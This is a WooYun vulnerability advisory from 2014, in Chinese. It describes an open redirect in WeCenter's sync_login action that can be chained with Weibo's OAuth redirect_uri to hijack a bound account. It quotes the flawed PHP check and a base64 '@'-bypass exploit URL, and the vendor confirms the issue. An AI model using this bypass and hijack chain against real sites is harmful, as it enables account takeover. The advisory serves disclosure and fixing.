当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083983

漏洞标题:wecenter重定向漏洞导致可挟持微博用户

相关厂商:anwsion.com

漏洞作者: 只发通用型

提交时间:2014-11-27 21:11

修复时间:2015-02-25 21:12

公开时间:2015-02-25 21:12

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-27: 细节已通知厂商并且等待厂商处理中
2014-11-28: 厂商已经确认,细节仅向厂商公开
2014-12-01: 细节向第三方安全合作伙伴开放
2015-01-22: 细节向核心白帽子及相关领域专家公开
2015-02-01: 细节向普通白帽子公开
2015-02-11: 细节向实习白帽子公开
2015-02-25: 细节向公众公开

简要描述:

尽管新浪已经修复了OAuth的redirect_uri重定向漏洞,但是不怕神一样的对手 就怕...
这个就是一个样列...

详细说明:

/app/account/main.php
191行开始
public function sync_login_action()
{
if (get_setting('ucenter_enabled') == 'Y')
{
if ($uc_uid = $this->model('ucenter')->is_uc_user($this->user_info['email']))
{
$sync_code = $this->model('ucenter')->sync_login($uc_uid);
}
}

if ($_GET['url'])
{
$url = base64_decode($_GET['url']);
}
if ((strstr($url, '://') AND !strstr($url, get_setting('base_url'))) OR !$url)
{
$url = '/';
}
H::redirect_msg(AWS_APP::lang()->_t('欢迎回来: %s , 正在带您进入站点...', $this->user_info['user_name']) . $sync_code, $url);
}


if ((strstr($url, '://') AND !strstr($url, get_setting('base_url'))) OR !$url) 对base64之后的url进行了判断但是可以用 "@" 绕过判断。
于是....

EXP:
http://127.0.0.1/?/account/sync_login/url-aHR0cDovLzEyNy4wLjAuMTp0ZXN0QHd3dy5iYWlkdS5jb20=


base64解开是http://127.0.0.1:test@www.baidu.com
唔 chrome下是不提示直接跳转的 为了生动演示效果用了Firefox

1.png


这样好像只是个普通的任意跳转 没有啥危害.但是配合起OAuth的redirect_uri就可以挟持微博绑定的帐号了.
攻击者构造地址让受害者打开,攻击者再记录下REFERER就可以挟持weibo了

2.png

漏洞证明:

2.png

修复方案:

过滤下@?

版权声明:转载请注明来源 只发通用型@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-11-28 00:25

厂商回复:

不严谨的过滤照成的,谢谢!

最新状态:

暂无